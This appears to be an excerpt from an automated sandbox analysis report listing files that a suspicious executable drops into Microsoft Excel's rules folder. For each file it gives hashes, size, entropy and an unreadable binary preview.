SSDEEP:	48:ZfEade0k2X8l1zQ8n5Lep6XBEAl/2eW0aoiN+kfJSRV3iKOK8wDJXxuD:Zv3MlljnMp6RDp2eW0aprIGbKJxW
MD5:	E15322495CDF16018E325DBD47AF3DAF
SHA1:	75AE7BB3A4C4CF7C0E4FAD41786D901AAA6EE6B8
SHA-256:	EEF59A539C17D5582846CE675118BB1FD681AC3663BC1A21D08DF35B1EAB9777
SHA-512:	3BB6427BEA1F2547F6710DE165AFE6E7C5842D701F336E08B25347FBCD0B0F06953A21757C3785001A399F6E2FE68150B8C0F8B46C231EF376B440FBC5B80F6A
Malicious:	false
Preview:	<?xml...U......Ih.'.\..Z..Qb{..9$+.....9.N%.. .^..1....v.....<.9..S..t...J?.....f.......%Qb.{9.wT...T.=IA.C....x...UM.c...m.k.k.JMH(.".jf..`........QpS..`......G...q...Nng.........h.... ....1^..Z..-.(..`....IHU..Kk.d.0.G....."...\|m....V.~..lVW...I...?.G=.^....K..3.....l]B.7..%=7{.[..Y2:.d.....I..pQ....,O....d\+...L....8.&....2...........&6i/.:...T...l..!......u........M..[.{.l..uX.......5.....j..C.._,...&.U.....x...a.dG.]...^.<HR..H. .YK,.y..".~v.......X.V/.../k....8..v...:..>....U..lU..>.x.f.9...T....8.H...A.tT....Wm....c.E<<.....wZ.B......t....pn..MnF.G4...E......1.'Q.pb......8..Q..B..J..0I.T..tv-..".6.\|(h.=.'a}&T.R.p.eb.t...(W4D^N...Qc....i.,.8..sx-...r../.......k.Y..d8..<..ms....,........+W.@.n..=d.,....#....g.u....A-.[..z ~.bnT..S.W.=x...w...q%..QP.....!"..}I./ _.........Cb..N...T.....l..u9.7....AI.X..&..@u]...xO:.<............(..5....W...h......U.ia+..T7.[.v*.u....(.K<...2z...)G.<.O..~E..1.l3K.r.....^.u...d..(..l3..:7.2...^.{7A..mc.Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.8221017432914115
Encrypted:	false
SSDEEP:	24:uTMtlCxIDYC95s/LKURm59q9jzfxnGOeHiJNZ08NRbAqj2bD:uOlCqP5qKURmnqBImNbNCbD
MD5:	B41CABD6CB97F8FD5F8232EDBC3E6EA1
SHA1:	18ED960FED2AB2940A3714F80EFF39D5B4B98173
SHA-256:	962FE647F092D636A3EB3DC61E151EC5868580252011E8AB41FB1B0C761C2344
SHA-512:	33D999DD22ABAEFB7DE78C981A0C31297E0BDF203BABB968F77B2FD34B68B60456EFF99BA16A6E791E1A5739F9A471DE1B8B802E59FE7969BB3135126F1D6A3C
Malicious:	false
Preview:	<?xml.......].....u.....=:..7e.<.5... .;.qt.eC..s....c$.f...x.F..{.,lq..2hS..\{..........G<q..../.t..Oo...aI........$......I3......7.....j..C.>.._.....R'.&...$&{..[..9.....Z_o..\U.......A..Q..9.IN3.......pN.2.....P..C1.6.........W.Uf.-0...AeI...3f.......,....&...e...V.i.^.......DY...d;.......)0...bN.J0....^V...........@..[y...z..7M.-.\|...P)a.......9..E.Af.......1.x....&=l'u...1.=...@%.. ......)&.T.K.RYa.....;n..;.....9..Qu..<.....).Q&(.]\l..0Vz..^.t1..>...2J..Ab.....hX.7b+L..../5...>m.C....-.f9Q. ; .2.o....qd.c.Z.3..U{..I.C....I.2.J1%.C....S..p.t}h.!.j3.~.. ..`1..pj. $..gI8.Y....Q1..XM..w....0..tIU..l.j.=..1........;.%............a.2^+..D..;{.....h.@I9.Z."...@...>I.=.vdt.q@'\|.g..*A.n(u.......;".O...BA)...3.x.i.....e.n.b...HdFC.v..?.v.z.O...\.B.mH9............}..._...j....8u..}.,.x..e!".".]t._..3%o.C......9.#.P..(.'....B"=:....h...Op..3.<9...9.O.....#...L.). #<a...:..7.U. ...Y.Lv.;.A.5.zS..\e..w.:.....9,..F..h..=.z.9.x.x)E..5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.714041269217072
Encrypted:	false
SSDEEP:	24:vcbE4jA8uV0F4uGnO6tPblSHlgwCInx2bD:v0E4jA04uGnVV4H2TxD
MD5:	E0275B2C92902CA4E0D20AB407995B17
SHA1:	B7AB08F48A0D5E710B1C5123A6C77D4F2377DF86
SHA-256:	8AB259306206AA209FCEE8C8EF4CA14F45E88B0D7C413CF21D47FA3609E58DE3
SHA-512:	F83542F450B6133DF79A0151188AA4364238004B1CF456031D4162F51F57EB2225A53CB261C3BE7B00871FE059C0DD663D8C5C0D24893192BB30FEEA1DEB226C
Malicious:	false
Preview:	<?xml......_.......9~..t.Z.^..>t:P...].@.:8.[.. ....Z.<...I..,7.h...M...5<F.=.-...>.y5.!....;...u....`}/..[v..j...9].....p....0.\.0S.........C.....uc8}+."Q..W.)&;.X...T.c?...U.mMz.!....B4,4..G.Y.[0h.\|....1q.+.!....:..X7. e.E._..0b.w0.M0.y...+.....(..'.m6...9.G.....G.;:KZJ?_q;........Z....R.U.o..H....7>.4..1..&.\|.2@7.H.?..l....".T..8sd.Bov...l...m...O.V....>.E..[ .z.....t.".4....k_..){AmS...R-O.W.5O8...FQ..qv.zA..........QB.+..=Z.P7m..PB'...\|.=~.5..NO..T(AJ9..].K.Qtcn....h..!f8M.c...\......6.k..>......y...V>w.0....?......._x51/....] ..........?.....P>..k!.B..3.....".E<...t..wpG.P......q....k...}...p2h...)......H.j{&6.u+m..Q..V.o0..\.H..B....2.&INTnJ..TN.S.J..n......t.a...RQ.,.....L.S.e.Nq.z.......].J.\|co.w5PmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.638375526321441
Encrypted:	false
SSDEEP:	12:wPwy1+OKi+VPgK548gVhfwCTcxvq+0pZWr75PI/S42sNSUdNcii9a:wrZmgKm8GTmAwP4nA2bD
MD5:	B8C3CB683067933BDE2155DFCB1859F9
SHA1:	1472A4756A82CFFA503524459C6D494294D5F655
SHA-256:	F61B4602D40A3F1C5D273E1FF087BEFE9F4C8B22EB11CF6DA98E92D9BEC9BDA5
SHA-512:	06DC6669B51D3D4265BE48E82BC90F08767D9E6FC6DFBBC5301E9C5BE74B323BB16CFE0B0B4CBE6B90856D50DEF2BFE431901200A25DF624F639873034894CB5
Malicious:	false
Preview:	<?xml....>3@+Qc...j<M... ..E....'...T.@/t.....%..EE._...Bn.0..w.[HO..hw....5@.....o\|0...{.`..c8....W_.am.........+.......'.......<..F...6..o.c.O..9T...&...g2...._X[3[.2.W..3.....T5(Z\...\|.p.^...@..v.u.2...kF.q...op...<.xb...= ..s[...e...^s......T0.n.,s...b..h...7*...].d...N....".&qI.v....S J...p....M..{.J.v...`..@.^9..r)...~..7..z. E.9P........V....M...0^..#..#...h.[y..8s.!Cm.j.=.tK.......N......r..Y.A.h..3j+..>...M..D.......}..`...U$..4..Ti..=..{e;..T..<09pvW.Z>>...7#..)Bt=+,.......:..Y.U..k...,.u.......7'3S..'./....9..tmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.746592572317763
Encrypted:	false
SSDEEP:	24:vofx+V0hNmhfykfG+XgAVoB0HeXx6XeBFq2bD:v5V0hNIfyk++wAVoB0HmxPjD
MD5:	C87D6846C899964DD0D2179592013A9B
SHA1:	458512B4719A20D89B3546E922990BF402EE4292
SHA-256:	00266E8B54A64CF4754A07F40571711405B2400CE7CD2A8932E9360C3739169D
SHA-512:	E2A6F62A87524DC2ECF4FA87415EAE22E54387C49E491DAC301FBE140BC1487F7179F558AFFCF2E52D204C65B3478436D51D54EA83638C4E5AD0DAF4DA7A2F62
Malicious:	false
Preview:	<?xml...;N.......+w...c......0..6..........0.+.ER..4.mt..."....H...SiH..b.............P2...Z..7.S.2s...S.T..%b.$"....(V...uN\|.f.X..37v..M...KJV.}.....&b..g....f...-:D.6I.\.G.d[#...1..,+...{'..8X(...<..l...GG..7.x.d,P..^o..0B..B......A..5#p.u2j..Q..8.%...^UM.R..H....7..&O)eQ5_..+r.S.!..T.;=...o.....\|....K.p0...6......C&...../....(-.L3Nx..angV.....d:SJ...G..5..+K1b..J...TN}...2t...p.O....cg$H..S.v....$....4.M@...9...w..i..Of.+PJ..V^.+3@``P..3.......'..\|.8A.......x.....1...^rI...f+..t....)_...Qjm...T......a...M/..\.l..Z!./...\|X..t..Q.\k.~.jnYm,...EE..=..H.'7.=.....4.]...R.....D@..f..b..#...."ocW./AK.u..$....}.}}2!.H\|...`g...........].w....hH$A.Z5..VDFZ3...e...6Y...&..jsI.vk;.(..L.#..J~b.SO......!.....X.....3..u>..Q9.!+. ..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.971864905911241
Encrypted:	false
SSDEEP:	192:P2ZyJyItq0cxbRnGZzJpH01rnPfjHe2ElF:P2YIn2fIrnPf67lF
MD5:	3FC88709B1A8E02C0BF2DAC570B6CE53
SHA1:	9F93957D13551C2FBCBD75FD2D041ECEB9964001
SHA-256:	FAE574E0758CCA1689B85736A65B0EC8E2C2B531A3C4553532CD73E99EC7D096
SHA-512:	C422E4FBB8BD1AB98D7465D2CE886CC7B0236755278A95FD1609B47DEADB786F4988ABA3FEC78B70DA661B45DAA5AE7AA062683CD46C91B6EC7653232981CFB3
Malicious:	false
Preview:	<?xml..b.5.V..Lkxyu....#!{.i.&..j.9...~.K...L..m.O.q....tZ.v.....#.;..n/.QX...v..bu.wY..m..+...8..66...+..PO.u...CL....'..=.B%...c.r.s._..%,J.....@...{..r..<...&.^_..Uu...#1..xM...Vj.}...Bgb......d).+..zNJ.4...<.8.rW2X....r...l..........M....\.Wa)7..$`..F.(.r.H.y..c8..`$.Mu{.........<._..%....w.....",....f........h..r{..A%..0/q.k.M..].....f....q.d.'............M..;........k....=8f.8........6.....-H=..4>..B..&.B.\|.....\|..PZ........E......H.o.]2D..P.W..trc...R2}.=h.>].q...>......v.^..:-.0!2zf.P.?6.S".M.S..+.3.p._.6..-......'.zd.<m....J.[....X.4..%v.1.$;.......p......a\|.War.....J>.j?.(.....a6=.OI.A.e`...o..\..0....Q.c...P.J....L.z.I.S\|5.....`.+{J.........*q0`.`.8..........\..{H.......vN...l......A.......u.v.........`....!o.pCi............0..\.w..H..8.J..W..w..6.........T.....>.;p.....3..cs.<P..Q......#..&....\|tV(........./._.k..,N..0...X..........J.f.3...a.U..&.....en...!.....~..D.3.>..FeK.....<..+....jv.'.A...x.%.0..x.9._.R.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.801309619836761
Encrypted:	false
SSDEEP:	24:7j0/i339DHEgYdH30fK+xr2BIZ0Vym2bD:7jVD7x2BIZEytD
MD5:	25FB6AA56EDD5A58DDE65660BA86B984
SHA1:	DAA848B8BC05C8DB6852A7579EAE9646AD6B4680
SHA-256:	61BEC3F3BA1DAD4E73C0F1FF4977547281C30376AC4BEF15699941F9C35938CE
SHA-512:	3DBFE8068838FC3AA45AE809F865BAF176E8BF2AE07FC3C5EABCD225F11191F53B10F412B78B93552EFF7E03933C0FB96DFDD39D4F70A70A8F7E917B38EE6FDE
Malicious:	false
Preview:	<?xmlf`..Q..?.E....tX.YH..pl..g.._.=..4.qv.&.....p.z......qz.L... ...Z.M...A%.~...M....=..>-.. .4...ue.......((..12...g.90....Y....3).../}VxK..$UX.r.n.4j!..a.:+...~.e1..9.Bu..V..i..1.]...V).0.&..hPn.n"[V%w6c:3h..!.2..8...b1.......e..JX+.......qx;.s..0..M,.b./.M...^xI.......uao.M.'..p...%.......s6Q.]7..R.../.{H.<st...Cnn{r.%....Wg."{....t..c...^p.%..Y8.. ..^t.....C...S.s.:.`#..W..........E@._.\9....j8l...)%.x....+..%.<ce....u. ...qq(..........%..)Bv..!...@5.x(V.......o&. 3..1^.\|l......d.Y...{....}.. '...}tv.e..B.=E&.)..(..>...-.p...).0....Z.(.>.E...G........$..N^.....y'..9....6...~.H......O...9..b.+.f.1z.8...<V.H../.{N...8.$....i.x0.W..k..........Ozsa...j....\{P....4....h...w..x.?0.............]X4....[..%9p.r.....P....9S.Jo.....{.".C.S..d503]>.b....~RC_.]....OzX.1..~]...../1v.....Xw.c....THi..Vw[...R.CQK4.(.)......5e....j4r..........p...9{....7.F.....7.d...s...U..v....b......jH;.4....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811821764352502
Encrypted:	false
SSDEEP:	24:+kiZ0NreBpfv5OIME78qA5nsI2xuIj36w8w2bD:+kiQr2lBOIMEQRlb2QZjD
MD5:	725B3F105E697C582D2161C284C79FAC
SHA1:	B4ECC7FF7A7A86FFF3CC5DEFD6AEC6CBA356F4DD
SHA-256:	CCAC18F46690A2F1049FA433B8B8FF60995D6023CF2C18B000BEF9F1FFCD3312
SHA-512:	F76D435F935DC023284F9C8CE9DE2FD1DAD3446C27911BCCD187371C581622AF76930B0313BA9224856527C017952891CB59E9221316DABB8B0048083B50BEC8
Malicious:	false
Preview:	<?xmlI.9....=..s.\...A...8a..[@..e.:..e.X...69.5.}o_...8<.g...o.........M.Tq...b6.&F:[....p.....s.!%t.hN.......$.....?;&h.a..M....&[._..:6..Z.`..d....g.=.s3Di.s.....j.?/...}.....s..4.V...Fk.....f".c..^#...5......y>_h.Y..e...!..{}..Xg......)$..f....sM/....D.........N}..c.]..!..$C.?..uUp.yf. .SF...z.jj....g..#...$....d#.n......2..9....m.m6 ..!C..C.<.}d./9Wt..e..r..(+..y2....3.l..Y9.M.[PT.Hw.}.wF{..:.{.....U......Y......"..'.p...E..?.....n...p.1....E..i...F...xv.r..]......."/.i.s.L4.I.}f...x^../<qz\..\)..8nu6.....@p_4..6..LaZ....c..GE.&;..u.1.........&.....!.f.. .O.x.K..$..pk@....`.w..al!..vd.Z....."Sq..K....^..~?..";.W....t.K...V......e............d`....7...,.G...."..........@_...H..,....X.q.d.B?........)I..I~.{_.....U.9Z.].........7......\|8.y..V..B.O.s..-Q..[,o..w.....NJ.D.L:m.C..<.7....H...St.....*.m..6.W^......a{..Y.P.V.WC..a.S.c...Y.A2eG...~...)....=[.Je.3._`......p...h...n.\Z)...=U...pM5TP..A_c.P..)..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.869919316632204
Encrypted:	false
SSDEEP:	24:dB+lHRyU+55SAtyl2bU+icqJFcdfvMd3CWC2yyZO4PepJPzpR6+P342bD:dB+lHRyU25dtyLcqfc5kdUeCJPz6+P3H
MD5:	700D40DD756943B58ABC0B45DE03A96E
SHA1:	7C3836066DF0B742C7FFD4DB31C837E2F7567E52
SHA-256:	75005110ABAF01E3A0B3D3538187A31E1A01597005DA8CF667E411777C7BCC6F
SHA-512:	119702C30A3E5D83D0C95E757341AE8BC5B2C6C73D3359C8FA16671EB2C8F0EC7D7154DC1FB0756EB0DC2C1514F23403E58BAC49DB03E96DB72585C2BED76698
Malicious:	false
Preview:	<?xml.V\|.b.4...X.p/.'.%"'...!..&....$......JCx....s\|s..&.............SK.v.......h...@.V_......`_....glH...NN.Z......P.UB.....Y..lx.u..d.4.v.......Q..6..u.....jII.$.[..<'^.8...\|..v.....k...^....-.A0.T...'..;c..b.m~&..C..GKV......F....M ..s......0.)D.p.vsG.=.\|...[..~.<.$...p%........y6lH>B.........b.o.<8...-b/.~.....}....3...}......c"..#....t.J...)Sf...x.FbB..+...N....7.3.b3..t...K.I.Xj;.>...a...!...L.C.;.C.#....$..e)...U.o.......ei.&B/7..H......A.m..1J...`Q ..P...(..u..k.J9Ut.P.!..?6\|....j)u....O........"...=,...K.,..~.i.[.)e...}4B..T...o..>..}..l.....1.....M...6`...w}....s...)#....w.1..5typ0.3"-..s..7.>...._...........@Y7!y.....s.=.........Vc...:.vq..W?<..E...,q...@...:.)-.d2y.oe.R.....7Mil]j-..v7I.a.."......h....U.]..(.\|.........qZ ...".X..9"._.... W.S.V..3...\|.j.n......z..Nl....ol.....$"O..U!.E..-.'..-.\...b...8.-.s.r.R..9b7..:.....)'Y.U.4.......Ya..p...Km.N..[B......`..i...n...D.. .M..S.<6.. ..V..q.&.G.T.o.[...,...U.....}.TQ.*4...r4_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.817733852955122
Encrypted:	false
SSDEEP:	24:AkuHiSdGjMUE/zLq/eumREzGVWlQk2pcKQ5YeRU3Mtfa22bD:AkuCSdGLE/zLUezECoytG5Yem3MtC9D
MD5:	2C5B490131A9E3907A49B7BC91DDE1B3
SHA1:	225F7F70F70C0F9469BB81A713333F33EEEA3A60
SHA-256:	2168423D4334CF1C5E1DC7E054D153ED8AA9A8CCD91FCC4CBC3D84D3558FA5E8
SHA-512:	5F51829DCB82E6E60CB8D9FD4B847FC997E41A60F04D0EA3E5479F96EB6592282BAD32D86A6DAA6D2953DE8E0A99D1A5B06532668F16D3D20257F130E24C33B6
Malicious:	false
Preview:	<?xml=Kr.5..m...%._P..<.h...1....4a...BJ...d8.g...9m.........TVjz..;Z..~xDT........{...Y_.....X.....L.....o7../Y...'........."~.1..+....,.94..XF.....q.G...-N..&...&..X....v..F....[..A..G+.l...m.x...B.].+..R..Z.$w........O..2.........].....C..2.........2...K..8..qG.........g$.!..PKx...vK.g.....n...T...vV.F....e.u...]D.D...#.\)._..?t..-.H.....o8.XKhN..\..#!... Jf....J...!.&...l.T...)..Yd..p.N.O3.`........0L.EM.......@^.3.4.F.}.g..\B..e.q...<...9 =.g:5.K<..U......<..bF..j..w...#...51>a.X....!.K.....l(.R)].qh.}Xg.I.Y...FV..n..Ed]..-......I.<.D...ko...M.<...1..<Pm@..O.^o.=.7.$6.....i..w=sw..Rq.h..g...E..\|..F......(...6...c...HP...(..V....].5..h.p3.t.t..b.%..>..".M..'.a.:8..#.f%KW.\|.t.....w..(a.)...c!.F~x....&...a0.......C..f.......Ar......J#l.3....irE[.K.m..I....P7.sG..h.....e.O0.#.7.."m(v.2L.e.........p.5..i:.k..~.g1Yo=.....XY...~.ZR.....vE..].r.\|z...%.5..Y.c.E.l.._0..I.p.Cb%p I~6..8.Dt.2A. ..X.d.;.E......;..Q..mMsRx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.829016460511103
Encrypted:	false
SSDEEP:	24:iM5f5c6Z/XQWVRgpG/ViF2Wcdyyfb69dOdlBsgqDHboEe2L8dCeLt+2bD:igf5c6Z/T7ykiF/cdyyT4mSggboVs8dF
MD5:	6F4976EFD494F61E2FADFF6269B24472
SHA1:	A22AE349E9B5DDB74A04230720DD8B99DAC09DD6
SHA-256:	E2A562B9A8122FE91D0E9876062B3D10D4824C70ADC4F22A69188B7F87782675
SHA-512:	8C426251439F77BB502A478775577AD5A996612016C5E527E6B579283199F23B8A5F5E96DEAAC07735D4EAA0152A2252D8636DE75C882956A016BD0203AC1BA9
Malicious:	false
Preview:	<?xml.C.>. j..H......{..P.^.......-..d$.>@.,w.P..CyN.<"i[............A...Wp.p.#.g/.P.s-.1+<....f`..Jc._S.+...&H..B.p(.g...y.../.4...C.L...<..q....#...'./Vx.k....w+...g...z..M...I...-...#n......g.3Q2.\..a.\|.:.J.n....yu'Y>.....-........{u.DrC.X....8J...W`..V;.x._..A.....3.U#+.F.v7.......$\6.bbb..G..WR.%Y3g?..l.@8...0qG\....]\...A[.`3O7.....D..cr...o-.Q.).f............H(.Z.j.....h..7.L.H................U,.i.!O/(..d....>w..I......^..r.[Y....Se.a.}N.DE.....)..~....c%@..9D...U{.+.....Cv...h...]..6.... 3...6.df..,.d..r...R".Xo6..D:....<..%.x..u}..$..!..ix........$....e!.{%6...RfZ..o..`8H.L>>a...{.NB.t....bQ..w....j....E(.....L.}y.....v..~1\|P..-r.9...."r........j.../......xd.<.. .W..{\|.y=Fp.?...D....l^...........#....lHy....~..\...H..>}.....0...w.2..J.Y/..d.+Y...W...u.c.......}S.v>.w8.t...ob.L.....l.AoRr0..5...M.E.$"..Z...~%.!O.@....J......:h.....=/GW...W.w<.)..n.<...Gp..... b..c....!..d..j......5.V.Hx..Z9R...K3L.+.8Y.....Q2t..S.h....F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.888350241610067
Encrypted:	false
SSDEEP:	48:z2aTF5/xTf0iWUm1EWfZxH1VinOWnS98VNkmFn9fajobd0nPegDzD:KavNf1m1zJ1AOWS9WNnFIjed0nPLf
MD5:	A427E94DC1A8F145DEBA6AFB2F027DDE
SHA1:	F1582799CA44950B2D5019D304C973CC013C4B36
SHA-256:	5E184D8622356B14446CA6B30EAF5AB37CFA9ED24FD616D59169834D6D9A08CC
SHA-512:	6CB5D683973485B9BE6BA6FF55E4894E8817706170B9A961B0F37463E8F7A3E38FDEAC887D0BFF5845F5009F1E09E2F56F870A9E4A6F5D81B3BDB26289EB0F08
Malicious:	false
Preview:	<?xml.`..FB...!.@...:.....\|.;M....?..k.;f.O......1<:..G......Q_;Q..:.LN.....n...Ic..5...%...R......b.M=..bz6...:{B.....\|....bU.%..bw..,Ob..\|.... 0...}.\|..-=q.\|..`j..FTr{.....L`..a..N}.....N..\|..B..W-.M{...}mk.%.P.~.\|\9U-.........=O0&.hu...2..y.I....(...D..qB.P6L.BBSd(..n<...3..2...f..%.!M.<;....of..)>.xF]...Z...,.'xs..........7&:O%F{...Cmz.....\bvw....'"508....@..u...y.N.mz..."..:w...........,..a......]..'..G7B..Tb_..4...g.Y...53......j`.u ..o...QZ...L.]..&..Q..V.....6.n.....9...-.&1.U'.!...3QG..EQ.....mMK.e.9....tR....q&....M:...4G..Jy...V......&....P..?n m:h...-.f?>3#.7.T.lo....].j..{......A.9....p.!.:.Z`a.....]L....W.6..k..&wE-.v..tD..;..!,[b.]sz....V.-..^^s4.M......}.................c....7Z..b......2...A..S.C.d.A?7S...K....a..06....WXQ#'......5.3{>.b...yh...N..dtuH5.F.21a..gRM.>L;$..h........B-......BRj...x.z*...]..v...hDH'W0D...u..\......H\i.5.E..WN..........4#.N.V?......S]....j.<.{.&.db....>.SB.!..\|\.5.?...v...q..~..l.\.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.674981888146497
Encrypted:	false
SSDEEP:	12:F8BZAVOsTl0/YtwU3wKogswaBwS9OfCd5nTKsRRxj2BmdQs7RT1i9zREzSUdNciD:u3AVOsBqCwK/pD0TKk4a7R14i+2bD
MD5:	4BE87373180302771A97C0B34132FDD3
SHA1:	9E8830F853E75066B025166DFB80DFF32CF0F03A
SHA-256:	9B3998144CEA3B4F1CA5C9B20E0BF48ED4452DE8D8459FA63DC11FEE52D28EDB
SHA-512:	9E4FFA7489C691BD1D8D1594BF46D7D0591DC42BEE74096D87EE2DDCD64C73AA7A6281ECDAEBBD80E1721E6F023C8106F41385237B285C01F89B420F1416702B
Malicious:	false
Preview:	<?xmlC....t..Ys..q......<...T..._:..T...o1R5...Ny.S,$.PP......C?...I=.(.WpZ.\|#..}..~(..7'....Q.\|...SQ.E.....Q.g.0C`sV....;w.BZV.,z...q.....{.E.M......T-._.....u7..=cg.g..6O.......)...J...bd.(........%.N.K.iL6....C..x......f).;......%/ad...B~ilB#..#6.e...Z.)<.,...e.E^P.M..Y'..;X...B..:..5....."...zl.$.....{....-.OT.F.....m.A.......U..&..+..<.#.......8#./eu ..\...=B..!..)`.\|.,.)..%I.x'.[?.I..?{.O..#.H...-.].5....$.:.?^.=]o...P..X.....J.._h....I.5.1....2+..;dF.-m_0-.....9.4.s.u..8....(.=.x+N.......+.......G.d.)...X......A.x.&.......u0.0.j....E,........Z@vO...`.r..WU...^......w...;.......Cn2...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.851925265282974
Encrypted:	false
SSDEEP:	48:ZOoyT15HSmshqea7Y6F+O8/4PZfl1grL1j4LzPV1SAD:aUha7av4+PaLzP7l
MD5:	DDA5A11900235FDB71EA75FD9BC6F45F
SHA1:	B6781E01E9DCEC8A9271E4C68A3ED14FF7D45F96
SHA-256:	DAB0CB469012BB684A179568D6E3373459D68E497BDBAAA3BE1C9A5359038080
SHA-512:	C6216881701EA95C36469F952D8FE8ED89C7D3C668B8D2F2B5EA38E967A8C95BF85B4BEA69C30A33517D86687B521314FF286099EC7A9D95E7DBF244D2ACDFFA
Malicious:	false
Preview:	<?xml.........z. g...=...S.y...u.{...#..E..SZ..[k$h~....U_s. u1.j...6.4..N..@.U...8uAs.{.?..xl..j....p..{...J.".^....R....H$F............~..M..C.s9>......~......=\|.z.!R.....p0"...u ...b.$.....2......J!pb_.$S..~.....r!<>..O..K...1c....7....=..2..w...K.K..d...\|.R..w.N.;k....6..+.Z...F.s....-.6.W/.q9C..B.B...an $S.4.twP..G.W,.)@'1.ZP.A%..).N......&.Ec..{...cV>rP.....<....M...~^>.1....ql.ML...JR.B....m.8..V...}......]{.,Z.f.....0.Rpy...W&..kQ.V+.2..?._...\|pTj....}.\7...X......O..KB.Yc....Q..b..u....-.,.....q3.)QX..\|..hDBct...X..{>....D....%..~....j]...0.... hK..^.L.uB._u8.89,...y.,..)b..T.......q..v8..@... ..>AswF.(..C....p.$.3.........T..bnr..q..%W....W.y..m~...P. ,.i...Zd!DR.g4.B..~.5Mu..............1./.......F4..Er.6MZ.8DrQ.t..1.l.T.5P........$.,.K.!......p..y...=..Q)>.S..q%. ... 8~.....].3P*.J..-...%.....F..w.&.._...Z.. ......)t..mg.-..>.p.s.. 2n5Uy.5iu.. .x<_.!>..Jv..pjx.}.,..^.[....Ywl+.zh.<...\.2.&.~....i..v.m.\|)...C.".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.907187728674695
Encrypted:	false
SSDEEP:	48:Sz/KWAgvscdRNuTXWVMy6Nob9iUMoJFPdWdp+z+8f7hyQNpuD:C/fV0TGr8aNdsp+z+oyIpW
MD5:	BC4219BBCD6B78C3192E03D877AFEB6E
SHA1:	E4638F98DFBB79E1867B0F6FCFCC6ED0217AC63D
SHA-256:	BA163936E57DD62752F92617CCB41A7C0D76099240861253B175737A8F6A144B
SHA-512:	3D34E5FCAD32B4FBCCB7D640CC092A77FD3782281B21B08C957C196528AE205BF18A91AEA0EA7FB88C8D6B2B2275ED9101B20BB2977E1F96141EA8EC1D85D976
Malicious:	false
